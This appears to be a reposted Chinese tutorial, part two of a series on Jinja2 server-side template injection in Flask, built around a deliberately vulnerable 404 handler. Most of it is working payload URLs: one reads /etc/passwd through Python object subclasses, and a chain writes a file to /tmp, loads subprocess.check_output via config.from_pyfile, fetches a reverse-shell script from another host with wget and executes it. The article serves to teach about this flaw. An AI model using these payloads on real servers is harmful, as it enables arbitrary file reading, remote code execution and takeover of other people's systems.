内容简介:FlaskJinja2 开发中遇到的的服务端注入问题研究 II
0×00. 前言
本篇文章是 《Flask Jinja2 开发中遇到的的服务端注入问题研究》 续篇,我们继续研究 Flask Jinja2开发中遇到的SSTI问题,本篇文章会介绍新的利用方式。
0×01. 测试代码
为了更好地演示Flask/Jinja2 开发中的SSTI问题,我们搭建一个小的POC程序,主要由两个 python 脚本组成, 其中page_not_found 存在SSTI漏洞:
Flask-test.py
#!/usr/bin/env python # -*- coding:utf8 -*- import hashlib import logging from datetime import timedelta from flask import Flask from flask import request from flask import config from flask import session from flask import render_template_string from Config import ProductionConfig app = Flask(__name__) handler = logging.StreamHandler() logging_format = logging.Formatter( '%(asctime)s - %(levelname)s - %(filename)s - %(funcName)s - %(lineno)s - %(message)s') handler.setFormatter(logging_format) app.logger.addHandler(handler) app.config.secret_key = "\xe8\xf7\xb9\xae\xfb\x87\xea4<5\xe7\x97D\xf4\x88)Q\xbd\xe1j'\x83\x13\xc7" app.config.from_object(ProductionConfig) #将配置类中的配置导入程序 app.permanent_session_lifetime = timedelta(hours=6) #session cookies 有效期 page_size = 60 app.config['UPLOAD_DIR'] = '/var/www/html/upload' app.config['PLUGIN_UPDATE_URL'] = 'https://ForrestX386.github.io/update' app.config['PLUGIN_DOWNLOAD_ADDRESS'] = 'https://ForrestX386.github.io/download' @app.route('/') def hello_world(): return 'Hello World!' @app.errorhandler(404) def page_not_found(e): template = ''' {%% block body %%} <div class="center-content error"> <h1>Oops! That page doesn't exist.</h1> <h3>%s</h3> </div> {%% endblock %%} ''' % (request.url) return render_template_string(template, dir=dir,help=help, locals=locals), 404 if __name__ == '__main__': app.run(host='0.0.0.0')
Config.py
#!/usr/bin/env python # -*- coding: UTF-8 -*- class Config(object): ACCOUNT = 'vpgame' PASSWORD = 'win666666' class DevlopmentConfig(Config): pass class TestingConfig(Config): pass class ProductionConfig(Config): HOST = '127.0.0.1' PORT = 65521 DBUSERNAME = 'vpgame' DBPASSWORD = 'win666666' DBNAME = 'vpgame'
执行 python Flask-test.py
0×02. Flask/Jinja2 开发中的SSTI 利用之任意文件读取
先介绍一些概念
关于类对象
instance.__class__ 可以获取当前实例的类对象
我们知道python中新式类(也就是显示继承object对象的类)都有一个属性__class__可以获取到当前实例对应的类,随便选择一个简单的新
式类实例,比如”,一个空字符串,就是一个新式类实例,所以”.__class__ 就可以获取到实例对应的类(也就是<type ‘str’>)
类对象中的属性__mro__
class.__mro__ 获取当前类对象的所有继承类
python中类对象有一个属性__mro__, 这个属性返回一个tuple对象,这个对象包含了当前类对象所有继承的基类,tuple中元素的顺序就是MRO(Method Resolution Order) 寻找的顺序
http://10.1.100.3:5000/ {{”.__class__.__mro__}}
从结果中可以发现”对应的类对象str继承的顺序是basestring->object
类对象中的方法__subclasses__()
每一个新式类都保留了它所有的子类的引用,__subclasses__()这个方法返回了类的所有存活的子类的引用(注意是类对象引用,不是实例)
我们知道python中的类都是继承object的,所以只要调用object类对象的__subclasses__()方法就可以获取我们想要的类的对象,比如用于读取文件的file对象
开始漏洞利用
首先获取object对象的所有子类引用列表
http://10.1.100.3:5000/ {{”.__class__.__mro__[2].__subclasses__()}}
”.__class__.__mro__[2] 获取的就是object 类对象(<type ‘object’>)
从执行结果中可以看到,获取到非常多的子类类对象引用,这里我们比较关注的是file类对象(<type ‘file’>), 可以用来进行文件读取
我们选取file 类对象,并实例化一个匿名实例,给其传入参数 ‘/etc/passwd’
http://10.1.100.3:5000/ {{”.__class__.__mro__[2].__subclasses__()[40](‘/etc/passwd’).read()}}
可以看到成功实现了任意文件读取
0×03. Flask/Jinja2 开发中的SSTI 利用之远程代码执行
1 首先向服务器写入一个py代码的文件/tmp/tmp.cfg
访问如下URL
http://10.1.100.3:5000/ {{”.__class__.__mro__[2].__subclasses__()[40](‘/tmp/tmp.cfg’, ‘w’).write(‘from subprocess import check_output\n\n RUNCMD = check_output\n ‘)}}
注: 这里需要注意直接在浏览器中访问这个URL,浏览器自动将\n 变成/n, 所以要用burpsuite 的repeater 功能辅助一下
至此写入文件成功
2 利用Flask Template Globals 中的config上下文对象导入py代码
上一篇《Flask Jinja2开发中遇到的的服务端注入问题研究》中我们提到了render_template_string 函数中第二个参数context 这个上下文对象参数 默认值中就包含了Flask Template Globals 所有的全局变量,其中就包括config这个上下文对象(源代码Flask/config.py), from_pyfile 用于导入指定的py文件,源代码如下:
def from_pyfile(self, filename, silent=False): filename = os.path.join(self.root_path, filename) d = imp.new_module('config') d.__file__ = filename try: with open(filename) as config_file: exec(compile(config_file.read(), filename, 'exec'), d.__dict__) except IOError as e: if silent and e.errno in (errno.ENOENT, errno.EISDIR): return False e.strerror = 'Unable to load configuration file (%s)' % e.strerror raise self.from_object(d) return True
这段代码的意思就是将指定的py文件导入,然后将导入的py文件中的大写成员属性加入到config这个上下文对象中(这就是为什么我用RUNCMD了,大写)
先访问:
http://10.1.100.3:5000/ {{config.from_pyfile(‘/tmp/tmp.cfg’)}}
再访问:
http://10.1.100.3:5000/ {{config.items()}}
至此,我们已经将RUNCMD导入到config这个模板上下文对象中了,而RUNCMD指向subprocess.check_output
3 利用注入的RUNCMD 执行系统命令下载反弹shell
访问:
http://10.1.100.3:5000/ {{config['RUNCMD'](‘/usr/bin/wget http://10.1.100.2/backShell.py -O /tmp/x’, shell=True)}}
从执行结果来看,反弹 shell 下载成功
4 利用config 上下文对象的from_pyfile方法导入反弹shell
我们知道python在导入模块的同时也会执行脚本中部分代码(class 和方法的定义不会执行),利用这一点,就可以执行反弹shell 了
访问:
http://10.1.100.3:5000/ {{config.from_pyfile(‘/tmp/x’)}}
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。